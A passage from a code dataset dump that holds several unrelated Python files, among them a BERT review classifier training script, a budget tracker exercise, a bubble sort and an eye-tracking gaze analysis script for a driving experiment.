= tokenizer.tokenize(\"I can't wait to visit Bulgaria again!\")\ntokenizer.convert_tokens_to_ids(tokens)\n\n\ndef flatten_layers(root_layer):\n if isinstance(root_layer, keras.layers.Layer):\n yield root_layer\n for layer in root_layer._layers:\n for sub_layer in flatten_layers(layer):\n yield sub_layer\n\n\ndef freeze_bert_layers(l_bert):\n \"\"\"\n Freezes all but LayerNorm and adapter layers - see arXiv:1902.00751.\n \"\"\"\n for layer in flatten_layers(l_bert):\n if layer.name in [\"LayerNorm\", \"adapter-down\", \"adapter-up\"]:\n layer.trainable = True\n elif len(layer._layers) == 0:\n layer.trainable = False\n l_bert.embeddings_layer.trainable = False\n\n\ndef create_learning_rate_scheduler(max_learn_rate=5e-5,\n end_learn_rate=1e-7,\n warmup_epoch_count=10,\n total_epoch_count=90):\n\n def lr_scheduler(epoch):\n if epoch < warmup_epoch_count:\n res = (max_learn_rate/warmup_epoch_count) * (epoch + 1)\n else:\n res = max_learn_rate*math.exp(math.log(end_learn_rate/max_learn_rate)*(epoch-warmup_epoch_count+1)/(total_epoch_count-warmup_epoch_count+1))\n return float(res)\n learning_rate_scheduler = tf.keras.callbacks.LearningRateScheduler(lr_scheduler, verbose=1)\n\n return learning_rate_scheduler\n\n\ndef create_model(max_seq_len, bert_ckpt_file, adapter_size):\n\n with tf.io.gfile.GFile(bert_config_file, \"r\") as reader:\n bc = StockBertConfig.from_json_string(reader.read())\n bert_params = map_stock_config_to_params(bc)\n bert_params.adapter_size = adapter_size \n bert = BertModelLayer.from_params(bert_params, name=\"bert\")\n \n input_ids = keras.layers.Input(shape=(max_seq_len, ), dtype='int32', name=\"input_ids\")\n bert_output = bert(input_ids)\n\n print(\"bert shape\", bert_output.shape)\n\n cls_out = keras.layers.Lambda(lambda seq: seq[:, 0, :])(bert_output)\n cls_out = keras.layers.Dropout(0.5)(cls_out)\n logits = keras.layers.Dense(units=768, activation=\"tanh\")(cls_out)\n logits = keras.layers.Dropout(0.5)(logits)\n logits = keras.layers.Dense(units=len(CLASSES), activation=\"softmax\")(logits)\n\n model = keras.Model(inputs=input_ids, outputs=logits)\n model.build(input_shape=(None, max_seq_len))\n\n load_stock_weights(bert, bert_ckpt_file)\n\n if adapter_size is not None:\n freeze_bert_layers(bert)\n\n return model\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n# parser.add_argument('--model-type', type=str, default='bert')\n# parser.add_argument('--model-name', type=str, default='bert-base-cased')\n parser.add_argument('--train-data', type=str, default=os.environ['SM_CHANNEL_TRAIN'])\n parser.add_argument('--validation-data', type=str, default=os.environ['SM_CHANNEL_VALIDATION'])\n parser.add_argument('--model-dir', type=str, default=os.environ['SM_MODEL_DIR'])\n parser.add_argument('--hosts', type=list, default=json.loads(os.environ['SM_HOSTS']))\n parser.add_argument('--current-host', type=str, default=os.environ['SM_CURRENT_HOST'])\n parser.add_argument('--num-gpus', type=int, default=os.environ['SM_NUM_GPUS'])\n\n args, _ = parser.parse_known_args() \n# model_type = args.model_type\n# model_name = args.model_name\n train_data = args.train_data\n validation_data = args.validation_data\n model_dir = args.model_dir\n hosts = args.hosts\n current_host = args.current_host\n num_gpus = args.num_gpus\n\n # features = ClassificationData(train, test, tokenizer, classes, max_seq_len=128)\n # features.train_x.shape\n # features.train_x[0]\n # features.train_y[0]\n # features.max_seq_len\n\n adapter_size = None # Change to 64?\n model = create_model(MAX_SEQ_LEN, bert_ckpt_file, adapter_size)\n\n model.layers[0].trainable = False\n\n model.summary()\n\n model.compile(\n optimizer=keras.optimizers.Adam(1e-5),\n loss=keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=[keras.metrics.SparseCategoricalAccuracy(name=\"acc\")]\n )\n\n log_dir = \"log/classification/\" + datetime.datetime.now().strftime(\"%Y%m%d-%H%M%s\")\n tensorboard_callback = keras.callbacks.TensorBoard(log_dir=log_dir)\n\n train_data_filenames = glob('{}/*.tfrecord'.format(train_data))\n print(train_data_filenames)\n\n # Create an input function for training. drop_remainder = True for using TPUs.\n train_dataset = file_based_input_dataset_builder(\n train_data_filenames,\n seq_length=MAX_SEQ_LEN,\n is_training=True,\n drop_remainder=False).map(select_data_and_label_from_record)\n\n print('*********** {}'.format(train_dataset))\n\n history = model.fit(\n train_dataset,\n# batch_size=BATCH_SIZE,\n shuffle=True,\n epochs=EPOCHS,\n steps_per_epoch=STEPS_PER_EPOCH,\n callbacks=[tensorboard_callback]\n )\n\n# _, train_acc = model.evaluate(features.train_x, features.train_y)\n# _, test_acc = model.evaluate(features.test_x, features.test_y)\n\n# print(\"train acc\", train_acc)\n# print(\"test acc\", test_acc)\n\n# y_pred = model.predict(features.test_x).argmax(axis=-1)\n\n# print(classification_report(features.test_y, y_pred)) #, target_names=classes))\n\n# cm = confusion_matrix(features.test_y, y_pred)\n# df_cm = pd.DataFrame(cm, index=classes, columns=classes)\n\n sentences = [\n \"This is just OK.\",\n \"This sucks.\",\n \"This is great.\"\n ]\n\n pred_tokens = map(tokenizer.tokenize, sentences)\n pred_tokens = map(lambda tok: [\"[CLS]\"] + tok + [\"[SEP]\"], pred_tokens)\n pred_token_ids = list(map(tokenizer.convert_tokens_to_ids, pred_tokens))\n\n pred_token_ids = map(lambda tids: tids +[0]*(MAX_SEQ_LEN-len(tids)),pred_token_ids)\n pred_token_ids = np.array(list(pred_token_ids))\n\n predictions = model.predict(pred_token_ids).argmax(axis=-1)\n\n for review_body, star_rating in zip(sentences, predictions):\n print(\"review_body:\", review_body, \"\\star_rating:\", CLASSES[star_rating])\n print()\n\n# model.save('/opt/ml/model/0/', save_format='tf')\n# model.save('/opt/ml/model/bert_reviews.h5')\n","sub_path":"06_train/wip/bert/src_bert_tf2_old/tf_bert_reviews.py","file_name":"tf_bert_reviews.py","file_ext":"py","file_size_in_byte":9608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"483695684","text":"import numpy as np\nimport pandas as pd\nfrom collections import Counter\n\ndf = pd.read_csv(\"H:/ML/bishe/data/Fuzzy_dataset_front100000_comple.csv\")\ndata = np.array(df)\n\nresult = np.array(Counter(data[:,3]).most_common())\ncnt = 0\n\nfor i in range(result.shape[0]):\n if int(result[i,1]) >= 10:\n cnt += 1\n\nprint(cnt)\n\n#data1 = pd.DataFrame(data)\n#data1.to_csv(\"H:/ML/bishe/data/Fuzzy_dataset_front100000_comple.csv\")\n","sub_path":"bishe/temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"54537627","text":"class Category:\r\n categories = []\r\n \r\n def __init__(self, name):\r\n self.name = name\r\n self.ledger = []\r\n Category.categories.append(self.name)\r\n \r\n def __str__(self):\r\n my_string = \"\"\r\n my_string = self.name.center(30, \"*\")\r\n if self.ledger != []:\r\n for x in self.ledger:\r\n big_desc = x['description'][:23]\r\n big_amount = str(\"{:.2f}\".format(x['amount']))[:7]\r\n x = \"{0:<23}{1:>7}\".format(big_desc, big_amount)\r\n my_string = f\"{my_string}\\n{x}\"\r\n balance = sum(entries['amount'] for entries in self.ledger)\r\n return f\"{my_string}\\nTotal: {round(balance, 2)}\"\r\n\r\n\r\n def deposit(self, amount, description = \"\"):\r\n self.amount = amount\r\n self.description = description\r\n self.ledger.append({\"amount\": self.amount, \"description\": self.description})\r\n \r\n def withdraw(self, amount, description = \"\"):\r\n self.amount = amount\r\n if self.check_funds(self.amount):\r\n self.amount = -amount\r\n self.description = description\r\n self.ledger.append({\"amount\": self.amount, \"description\": self.description})\r\n return True\r\n return False\r\n\r\n def get_balance(self):\r\n balance = sum(entries['amount'] for entries in self.ledger)\r\n return round(balance, 2)\r\n \r\n def transfer(self, amount, budget_category):\r\n self.amount = amount\r\n if self.check_funds(self.amount):\r\n self.budget_category = budget_category\r\n self.description = f\"Transfer to {self.budget_category.name}\"\r\n \r\n self.withdraw(self.amount, self.description)\r\n self.budget_category.deposit(abs(self.amount), f\"Transfer from {self.name}\")\r\n return True\r\n return False\r\n \r\n def check_funds(self, amount):\r\n self.amount = amount\r\n balance = sum(entries['amount'] for entries in self.ledger)\r\n if self.amount <= balance:\r\n return True\r\n return False\r\n\r\ndef create_spend_chart(list_categories):\r\n my_dictionary = {}\r\n for category in list_categories:\r\n my_sum = 0\r\n for x in category.ledger:\r\n if x[\"amount\"] < 0:\r\n my_sum += x[\"amount\"]\r\n my_dictionary[category.name] = my_sum\r\n\r\n total_spent = sum(my_dictionary.values())\r\n for key, value in my_dictionary.items():\r\n how_many_o = (value / total_spent * 100) // 10\r\n my_dictionary[key] = how_many_o\r\n \r\n lst = list(my_dictionary.values())\r\n lst2 = list(my_dictionary.keys())\r\n length = len(lst)\r\n my_string = \"Percentage spent by category\"\r\n for i in range(10, -1, -1):\r\n zero = []\r\n for x in lst:\r\n if x >= i:\r\n zero.append(\" o \")\r\n else:\r\n zero.append(\" \")\r\n line = \"\".join(zero)\r\n if i * 10 == 100:\r\n my_string = f\"{my_string}\\n{i * 10}|{line} \"\r\n elif i * 10 == 0:\r\n my_string = f\"{my_string}\\n {i * 10}|{line} \"\r\n else:\r\n my_string = f\"{my_string}\\n {i * 10}|{line} \"\r\n dashes = \"-\"*(1 + length * 3)\r\n my_string = f\"{my_string}\\n {dashes}\"\r\n for i, x in enumerate(lst2):\r\n lst2[i] = x.capitalize()\r\n\r\n for i in range(20):\r\n temp_string = \" \"\r\n for x in lst2:\r\n length = len(x)\r\n if i < length:\r\n temp_string = f\"{temp_string} {x[i]} \"\r\n else:\r\n temp_string = f\"{temp_string} \"\r\n if temp_string.strip() == \"\":\r\n break\r\n my_string = f\"{my_string}\\n{temp_string} \"\r\n \r\n\r\n return my_string\r\n\r\n# TEST CASES\r\n# Food = Category(\"Food\")\r\n# Stationary = Category(\"Stationary\")\r\n\r\n# print(Food.get_balance())\r\n# print(Food.deposit(4.83, \"First deposit\"))\r\n# print(Food.get_balance())\r\n# print(Food.withdraw(2.01, \"First withdrawal\"))\r\n# print(Food.get_balance())\r\n# print(Food.ledger)\r\n# print(Food.transfer(2.00, Stationary))\r\n# print(Food.get_balance())\r\n# print(Food.ledger)\r\n# print(Stationary.get_balance())\r\n# print(Stationary.ledger)\r\n# print(Stationary.deposit(4923.94, \"Large deposit\"))\r\n# print(Stationary.withdraw(10.00, \"withdraw\"))\r\n# print(Category.categories)\r\n# print(Food)\r\n# print(Stationary)\r\n# print(Food.check_funds(0.83))\r\n# print(Food.check_funds(0.30))\r\n\r\n# print(create_spend_chart([Food, Stationary]))\r\n\r\n","sub_path":"BudgetApp/budgetapp.py","file_name":"budgetapp.py","file_ext":"py","file_size_in_byte":4465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"240999367","text":"from proct import Student\nstudent=Student()\n\nwhile True:\n\tchoice=int(input('1. Enter Student Details \\n2. Enter Marks of a student \\n3. View Student Details \\n4. Exit \\n\\\nPlease enter your choice: ')) \n\n\t\n\tif choice==1:\n\t\t\"\"\" if user choose 1-- give personal details of student\"\"\"\n\t\tprint('\\n','='*50)\n\t\tprint('You will have to enter the personal details of one student\\n')\n\t\tstudent.studentdetails()\n\t\n\telif choice == 2:\n\t\t\"\"\"if user choose2--enter student marks \"\"\" \n\t\tprint('\\n','='*50)\n\t\tprint('Enter the marks of the student- ')\n\t\tstudent.enter_marks()\n\n\telif choice==3:\n\t\t\"\"\"to see the complete details of the student\"\"\"\n\t\tprint('\\n','='*50)\n\t\tprint('Displaying the marks of students')\n\t\tstudent.display_student_details()\n\t\n\telse:\n\t\t\"\"\"to exit out of from the loop\"\"\"\n\t\tbreak\n\n\n\n\n\n \t\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"main_proct.py","file_name":"main_proct.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"140038339","text":"def bubble_sort(arr):\n length = len(arr)\n for i in range(length-1):\n for j in range(length-1-i):\n if arr[j] > arr[j+1]:\n tmp = arr[j]\n arr[j] = arr[j+1]\n arr[j+1] = tmp\n return arr\n\nif __name__ == \"__main__\":\n import time\n import random\n total_elements = 1000\n arr = random.sample(range(-50000, 50000), total_elements)\n\n start = time.time()\n sorted_arr = bubble_sort(arr)\n end = time.time()\n\n print(\"Total elements:\", total_elements)\n print(\"Success?\", sorted_arr == sorted(arr))\n print(\"Working time: %.2f sec\" % (end-start))\n","sub_path":"bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"161097079","text":"###script to view and almagamate eye tracking files.\nimport numpy as np\nimport sys, os\nfrom file_methods import *\nimport pickle\nimport matplotlib.pyplot as plt\nimport cv2\nimport csv\nimport pandas as pd\nimport math as mt \nfrom scipy.interpolate import interp1d\nfrom nslr_hmm import *\nfrom timeit import default_timer as timer\n\n\"\"\"\nUseful docs:\n \nTo understand marker transform: \nhttps://www.pyimagesearch.com/2014/08/25/4-point-opencv-getperspective-transform-example/\n \n #Screen co-ords.\n # +-----------+\n # |0,1 1,1| ^\n # | | / \\\n # | | | UP\n # |0,0 1,0| |\n # +-----------+\n\n \n\"\"\"\n\n\ndef correlateTimestamps(df):\n \n #TODO: use the eye_id to average over duplicate timestamps with multiple eyes. \n #FIXME: This function is slow and doesn't work properly. Dealing with dataframes in this way seems slow. \n \n #receives panda dataframe and crunches the multiple timestamps.\n world_ts = np.unique(df['world_timestamp'])\n data_by_ts = pd.DataFrame() \n \n \n def avgAcrossTs(stamps):\n #receives a list of entries associated with that timestamp.\n #take the most confidence. If all equal, average.\n print(stamps)\n mx = stamps['confidence'].max() \n gp= stamps.loc[stamps['confidence']==mx]\n avggp = gp.mean(0) \n return avggp\n \n #loop through surface_timestamps and find closest frame index \n \n for row in range(df.shape[0]):\n #print(row)\n datum = df.iloc[[row]] #needs list selection for dataframe. \n surf_ts = df.iloc[row,1] #surface timestamp \n if surf_ts >0 and surf_ts<20: #check ts is during trial. If not don't process datum.\n tsdiff = world_ts - surf_ts \n idx = np.argmin(abs(tsdiff))\n datum['frame_index'] = idx #Add new column.\n data_by_ts = pd.concat([data_by_ts,datum])\n \n #now you've correlated timestamps. Return average for duplicate entries. \n #\n df_new = data_by_ts.groupby(['frame_index']).apply(avgAcrossTs)\n \n# for frame in range(len(world_ts)):\n# \n# #find all the entries.\n# ts_entries = []\n# for i in range(len(data_by_ts)):\n# dt = data_by_ts[i]\n# if dt['frame_index'] == frame:\n# ts_entries.append(i)\n# \n# if len(ts_entries) > 0:\n# Tlist = [data_by_ts[ts_entries[i]] for i in range(len(ts_entries))] \n# Tdf = pd.DataFrame(Tlist) \n# d= avgAcrossTs(Tdf)\n# df_new.append(d) \n \n return df_new\n \ndef GazeAngles(df):\n \n \n def SurfaceToGazeAngle(gp):\n \n \n #proj_width = 1.965\n #proj_height = 1.115 \n \n #pixel size of markers of total white border marker is 118 x 107. But I think surface is up to black marker edge.\n #measurements of black marker edge in inkscape are ~75 x 72 pixels. \n #NEED REAL_WORLD MEASUREMENTS OF SURFACE SIZE UP TO BLACK SQUARE.\n #AND HORIZON RELATIVE TO BOTTOM AND TOP OF SQUARE.\n #put the below into a function and call apply: \n\n\n \"\"\"\n TODO: Since I know the positions of the markers on the screen, and should know their extents, I can calculate the horizon exactly on the assumption that it is at y = .5 in the main screen\n\n I can get the marker size from real-world marker measurements.\n\n I can also calculate the ratio by estimating the scaling according to the programmed values.\n\n\n \"\"\"\n\n #need to check that surfaces is from edges, as in vizard the placement is the bottom left corner\n width = 1.656 #measured at 165.6 cm on 14/12/18 #real-world size of surface, in m.\n height = .634 #measured at 63.4 cm on 18/12/18\n #this should match the defined surface.\n \n \n centrex = .5 #horiz centre of surface is centre of experiment display.\n \n Horizon_relativeToSurfaceBottom = .455 #Horizon measured at 45.5 above bottom marker value . 45.5/63.5 = .7063\n\n #it is very important centrey is accurate. make sure you measure up to the true horizon, not the clipped horizon because this was overestimate how far people are looking\n #Measured at 46cm above the bottom marker. 46/60 is .7666667\n\n \n centrey = Horizon_relativeToSurfaceBottom / height #.7667 #placement of horizon in normalised surface units. Minus off norm_y to get gaze relative to horizon.\n\n\n #TODO: CHECK HORIZON MEASUREMENT AS SURFACE DOESN'T ALIGN WITH TOP OF MARKERS. NEED TO CORRECT FOR DISTORTION.\n screen_dist = 1.0 #in metres\n \n #convert the scale to real-distances from centre.\n x = gp['x_norm']\n y = gp['y_norm']\n real_h = (x-centrex)*width\n real_v = (y-centrey)*height\n#\t\n#\t\n \t#calculate gaze angle\n hrad = mt.atan(real_h/screen_dist)\n vrad = mt.atan(real_v/screen_dist)\n#\t\n #\t#convert to degrees\n hang = (hrad*180)/mt.pi\n vang= (vrad*180)/mt.pi\n#\t\n return (hang, vang) \n \n \n df['hangle'], df['vangle'] = zip(*df.apply(SurfaceToGazeAngle,axis=1))\n \n return df\t\n \ndef LoadSteering(path, trial, maxt, mint):\n #return steering data for trial. \n # df_steer = pd.DataFrame() #trial frame by frame data\n \n filename = path + str(trial) + '.csv' #formula for reading in steering file. \n print(\"Steering Filename: \", filename)\n untrimmed_df_steer= pd.read_csv(filename) #read steering data \n #df_steer= pd.read_csv(filename) #read steering data \n# endtrial = len(importMat) #0 to 1 signifies end of trial. \n# trialdata = importMat.iloc[1:endtrial-1,:] #take all of the data, minus the first and last frame.\n \n #print(untrimmed_df_steer) #Not sure why I trimmed this.\n\n df_steer = untrimmed_df_steer.loc[:,['ID','Age','Gender','Vision','LicenseMonths','frameidx','trackindex','currtime','SWA','posx','posz','yaw','yaw_d','yawrate','steeringbias','autoflag','sectiontype','sectionorder','sectioncount','trialtype','obstaclecolour','obstacleoffset' ]].copy()\n \n #STEERING_TIME_CORRECTION = df_steer.loc[0,'currtime']\n \n # print(\"Steering Correction:\", STEERING_TIME_CORRECTION)\n \n # df_steer['currtime'] = df_steer['currtime'] #- STEERING_TIME_CORRECTION\n \n #Since stitching together gaze and steering data relies on creating an interpolation function for the gaze data, then passing it the steering timestamps, we need the steering timestamps to be within the range of values for gaze timestamps.\n \n lower = df_steer['currtime']>mint\n upper = df_steer['currtime'] 0) & (x_norm < 1) & (y_norm > 0):\n on_srf = \"TRUE\"\n else:\n on_srf = \"FALSE\" \n\n return (gazedistance, on_srf)\n \n df['gazedistance'], df['on_srf'] = zip(*df.apply(CalculateGazeDistance,axis=1)) \n #row = df.loc[2,:]\n #lookahead, gazebias, xpog, zpog = GazeMetrics(row)\n \n \n return (df)\n\n\ndef TrackMaker(sectionsize):\n\t\n\t\"\"\"adds oval track with double straight. Returns 4 variables: midline, origin, section breaks, track details\"\"\"\n\t#at the moment each straight or bend is a separate section. So we can alter the colour if needed. But more efficient to just create one line per edge.\n# code copied from vizard trackmaker.\n\n\t\"\"\"\n ________\n\t / _B__ \\ \n\t/\t/ \\ \\ \n\t| A | | C |\n _| | | |_\n _| H | | D |_\n\t|\t|\t | |\n\t| G\t|\t | E |\n\t\\\t\\___ / /\n \\ ____F___ /\n\n\n\tA = Empty Straight \n\tB = Constant curvature Bend\n\tC = Straight with Targets.\n\tD = Interp period (Length = StraightLength / 4.0)\n\tE = Empty Straight\n\tF = Constant curvature bend\n\tG = Straight with Targets\n\tH = Interp period (Length = StraightLength / 4.0)\n\n\tTrackOrigin, centre of track = 0,0. Will be half-way in the interp period.\n\n\t\"\"\"\n\n\n\n\t#Start at beginning of 1st straight.\n\tStraightLength = 40.0 #in metres. \n\tInterpProportion = 1.0 #Length of interpolation section relative to the straight sections\n\tInterpLength = StraightLength * InterpProportion\n\tInterpHalf = InterpLength / 2.0\n\tBendRadius = 25.0 #in metres, constant curvature bend.\n\tSectionSize = sectionsize\n\troadwidth = 3.0/2.0\n\tright_array = np.linspace(np.pi, 0.0, SectionSize) \n\tleft_array= np.linspace(0.0, np.pi,SectionSize)\n\t\n\t\n\t#trackorigin = [BendRadius, StraightLength/2.0] #origin of track for bias calculation\n\ttrackorigin = [0.0, 0.0]\n\ttrackparams = [BendRadius, StraightLength, InterpLength, SectionSize, InterpProportion]\n\n\t#For readability set key course markers. Use diagram for reference\n\tLeftStraight_x = -BendRadius\n\tRightStraight_x = BendRadius\n\tTop_Interp_z = InterpHalf\n\tTop_Straight_z = InterpHalf+StraightLength\n\tBottom_Interp_z = -InterpHalf\n\tBottom_Straight_z = -InterpHalf-StraightLength\n\t\n\t###create unbroken midline. 1000 points in each section.\t\n\t#at the moment this is a line so I can see the effects. But this should eventually be an invisible array.\n\t#straight\t\n\t#The interp periods have index numbers of sectionsize / 4. So midline size = SectionSize * 7 (6 sections + two interps)\n\tmidlineSize = SectionSize* (6 + 2 * InterpProportion)\n\tmidline = np.zeros((int(midlineSize),2))\n\n\tSectionBreaks = []\n\tSectionBreaks.append(0)\n\tSectionBreaks.append(int(SectionSize)) #end of StraightA #1\n\tSectionBreaks.append(int(SectionSize*2)) #end of BendB #2\n\tSectionBreaks.append(int(SectionSize*3)) #end of StraightC #3\n\tSectionBreaks.append(int(SectionSize* (3 + InterpProportion))) #end of InterpD #4\n\tSectionBreaks.append(int(SectionSize*(4 + InterpProportion))) #end of StraightE #5\n\tSectionBreaks.append(int(SectionSize*(5 + InterpProportion))) #end of BendF #6\n\tSectionBreaks.append(int(SectionSize*(6 + InterpProportion))) #end of StraightG #7\n\tSectionBreaks.append(int(SectionSize*(6 + 2*InterpProportion))) #end of InterpH #8\n\n\t#Straight A\n\tStraightA_z = np.linspace(Top_Interp_z, Top_Straight_z, SectionSize)\n\tmidline[SectionBreaks[0]:SectionBreaks[1],0] = LeftStraight_x\n\tmidline[SectionBreaks[0]:SectionBreaks[1],1] = StraightA_z\n\n\t#print (SectionBreaks)\n\t#print (midline[SectionBreaks[0]:SectionBreaks[1],:])\n\t\t\n\t#Bend B\n\ti=0\n\twhile i < SectionSize:\n\t\tx = (BendRadius*np.cos(right_array[i])) #+ BendRadius \n\t\tz = (BendRadius*np.sin(right_array[i])) + (Top_Straight_z)\n\t\tmidline[i+SectionBreaks[1],0] = x\n\t\tmidline[i+SectionBreaks[1],1] = z\n\t\t#viz.vertex(x,.1,z)\n\t\t#viz.vertexcolor(viz.WHITE)\n\t\txend = x\n\t\ti += 1\n\t\n\t#StraightC\n\trev_straight = StraightA_z[::-1] #reverse\n\tmidline[SectionBreaks[2]:SectionBreaks[3],0] = xend\n\tmidline[SectionBreaks[2]:SectionBreaks[3],1] = rev_straight\n\t\n#\t\t\n# \t#InterpD\n\tInterpD_z = np.linspace(Top_Interp_z, Bottom_Interp_z, int(SectionSize*InterpProportion))\n\tmidline[SectionBreaks[3]:SectionBreaks[4],0] = xend\n\tmidline[SectionBreaks[3]:SectionBreaks[4],1] = InterpD_z\n\n\t#StraightE\n\tStraightE_z = np.linspace(Bottom_Interp_z, Bottom_Straight_z, SectionSize)\n\tmidline[SectionBreaks[4]:SectionBreaks[5],0] = xend\n\tmidline[SectionBreaks[4]:SectionBreaks[5],1] = StraightE_z\n\n\t#BendF\n\ti=0\n\twhile i < SectionSize:\n\t\tx = (BendRadius*np.cos(left_array[i]))\n\t\tz = -(BendRadius*np.sin(left_array[i])) + (Bottom_Straight_z)\n\t\tmidline[i+(SectionBreaks[5]),0] = x\n\t\tmidline[i+(SectionBreaks[5]),1] = z\n\t#\tviz.vertex(x,.1,z)\n\t#\tviz.vertexcolor(viz.WHITE)\n\t\txend = x\n\t\ti += 1\n\t\n\t#StraightG\n\tStraightG_z = np.linspace(Bottom_Straight_z, Bottom_Interp_z, SectionSize)\n\tmidline[SectionBreaks[6]:SectionBreaks[7],0] = xend\n\tmidline[SectionBreaks[6]:SectionBreaks[7],1] = StraightG_z\n\n\t#InterpG\n\tInterpG_z = np.linspace(Bottom_Interp_z, Top_Interp_z, int(SectionSize*InterpProportion))\n\tmidline[SectionBreaks[7]:SectionBreaks[8],0] = xend\n\tmidline[SectionBreaks[7]:SectionBreaks[8],1] = InterpG_z\n\n\tTrackData = []\n\tTrackData.append(midline)\n\tTrackData.append(trackorigin)\n\tTrackData.append(SectionBreaks)\n\tTrackData.append(trackparams)\n\n\treturn TrackData\n\n\nif __name__ == '__main__':\n\t#rootdir = sys.argv[1] \n rootdir = \"E:\\\\EyeTrike_Backup\\\\Recordings\\\\Trout\\\\ExperimentProper\" \n savedir = \"C:\\\\Users\\\\psccmo\\\\Trout18_Analysis\\\\\"\n resave = False #boolean whether to move files to savedir\n #steerdir = \"C:/Users/psccmo/OneDrive - University of Leeds/Research/Student-Projects_2017-18/Sparrow-Crow-17/Master_SampleParticipants/SteeringData/\"\n steerdir = \"D:\\\\Trout18_SteeringData_Pooled\\\\\"\n resx, resy = 1280,720\n # marker_corners_norm = np.array(((0,0),(1,0),(1,1),(0,1)),dtype=np.float32)\n # marker_box = np.array([[[0,0],[1,0],[1,1],[0,1],[0,0]]],dtype=np.float32) #this is for perspectiveTransform.\n \n INCLUDE_GAZE = False\n #CREATE MIDLINE. Use Function from Main Experiment\n TrackData = TrackMaker(10000)\n midline = TrackData[0] \n trackorigin =TrackData[1]\n \n #varnames = np.array('pp','tn','cn','Fix','Bend','Exp',')\n #measures: LookaheadDistance; HighestFixationDensity, \n #create a dataframe for averaged measures \n #MATLAB outtable = cell2table(out,'VariableNames',{'pp', 'tn', 'cn', 'Fix', 'Bend', 'SB','RMS',...\n #'AvgYaw','StdYaw','AvgSWA','StdSWA','AvgSWVel'});\n \n pcodes = range(0,26) #participant code range\n exp = 'Trout'\n ##0 = Attract_Narrow, 1=Attract_Medium, 2=Attract_Wide, 3=Avoid_Narrow, 4=Avoid_Medium, 5=Avoid_Wide\n #cndtcodes = ['Attract_Narrow','Attract_Medium','Attract_Wide','Avoid_Narrow','Avoid_Medium','Avoid_Wide'] \n cndtcodes = ['Attract_Narrow','Attract_Wide','Avoid_Narrow','Avoid_Wide'] \n \n #steering starting time. 125.4422454. Pilot has bug since vizard timer not reset after calibration / accuracy. So minus starting time to reset.\n\n \n# master_gaze = pd.DataFrame() #master data for gaze file.\n master_segment = pd.DataFrame() #master data for segment file. \n master_stitch = pd.DataFrame() #master data for gaze and steering \n \n \n \n #For pilot scripts \n #STEERING_TIME_CORRECTION = 74.60509197 #Take the first timestamp of the first steering trial, since vizard timestamp isn't zeroed after calibration but pupil timestamp is.\n #EYETRACKING_TIME_CORRECTION = 6568.631288\n\n gazedata_filename = '\\\\gaze_on_surface_Corrected.csv'\n #print(pfolder)\n #print (\"here\")\n for dirs in os.walk(rootdir):\n path = str(dirs[0]) \n print (path)\n \n if os.path.exists(path +gazedata_filename): \n \n \"\"\" \n TROUT PARTICULARS: There is a trial_timestamps file that contains the start and finish times (on the eyetrike)\n of the individual trials. Use this to partial out the main gaze csv file.\n\n - For each row in eyetrack_timestamp, select the corresponding data within the start and finish range from the large gaze_df.\n - Then add the steering. Then stitch together.\n \n file has columns: 'world_timestamp', 'surface_timestamp', 'x_norm', 'y_norm', 'on_srf', 'confidence'\n There may be more than one estimate for each timestamp, and they may not be in order.\n Where they is more than one, either: Take the higher conf, or take the avg if conf is equal.\n \n STEPS:\n 1) Function to convert norm_pos to x&y angular deviation from centre of screen (horizon). DONE\n 2) Function to locate angles in-world: Lookahead distance; Gaze relative to centre of road.\n 3) Output as csv in trial root folder.\n 4) Function to calculate some basic measures dispersal measures from angular deviation. These are average measures per trial\n 5) Measure up with condition flags from the annotation at the start of the trial.\n 5) Collate measures across participants into long-format for R processing. \n \"\"\" \n \n allgaze_df = pd.read_csv(path+gazedata_filename, sep=',',header=0) \n \n allgaze_df = GazeAngles(allgaze_df) #adds two new columns: hangle and vangle \n \n eyetrike_timestamps_df = pd.read_csv(path+'/Eyetrike_trialtimestamps.csv')\n \n ### #Needs a correction because the 'reset' time takes place before the instructions. ###\n\n\n ### SHOULDN'T NEED THE FOLLOWING CORRECTION FOR THE PROPER EXPERIMENT ###\n\n #EYETRACKING_TIME_CORRECTION = allgaze_df.loc[0,'gaze_timestamp']\n #print(\"ET Correction:\", EYETRACKING_TIME_CORRECTION)\n \n #Find the first steering trialcode. \n # #first t1 = first trial.\n # startt1 = min(eyetrike_timestamps_df['t1'])\n # firsttrial_idx = eyetrike_timestamps_df['t1'] == startt1\n # firsttrial_code = eyetrike_timestamps_df.loc[firsttrial_idx, 'trialcode'].values[0]\n \n # print (\"firsttrial\", firsttrial_code)\n # filename = steerdir + str(firsttrial_code) + '.csv' #formula for reading in steering file. \n # #print(\"Steering Filename: \", filename)\n # firsttrial_steering = pd.read_csv(filename) #read steering data \n # #STEERING_TIME_CORRECTION = firsttrial_steering.loc[0,'currtime']\n \n #print (\"Steering_time_correction:\", STEERING_TIME_CORRECTION) \n \n #hack for pilot\n #allgaze_df['gaze_timestamp'] = allgaze_df['gaze_timestamp'] #- EYETRACKING_TIME_CORRECTION \n\n ### END OF CORRECTION FOR MISMATCHED STARTING TIMESTAMPS ####\n\n #loop through eyetrike timestamps.\n for index, row in eyetrike_timestamps_df.iterrows():\n \n begin = timer()\n \n mint = row['t1']#- EYETRACKING_TIME_CORRECTION\n #print (mint)\n maxt = row['t2']# - EYETRACKING_TIME_CORRECTION\n \n #print (\"Mint\", mint)\n #print (\"Maxt\", maxt)\n \n trial = row['trialcode']\n \n print(\"Processing: \", trial) \n \n #hack for pilot\n #Use Eyetracking timestamps file to select the right portion of the eyetracking datafile. \n \n lower = allgaze_df['gaze_timestamp'] > mint \n upper = allgaze_df['gaze_timestamp'] < maxt\n trial_gazedata = allgaze_df.loc[lower & upper, :].copy() \n \n print(\"Gaze Data length: \", len(trial_gazedata))\n #carry over section order.\n 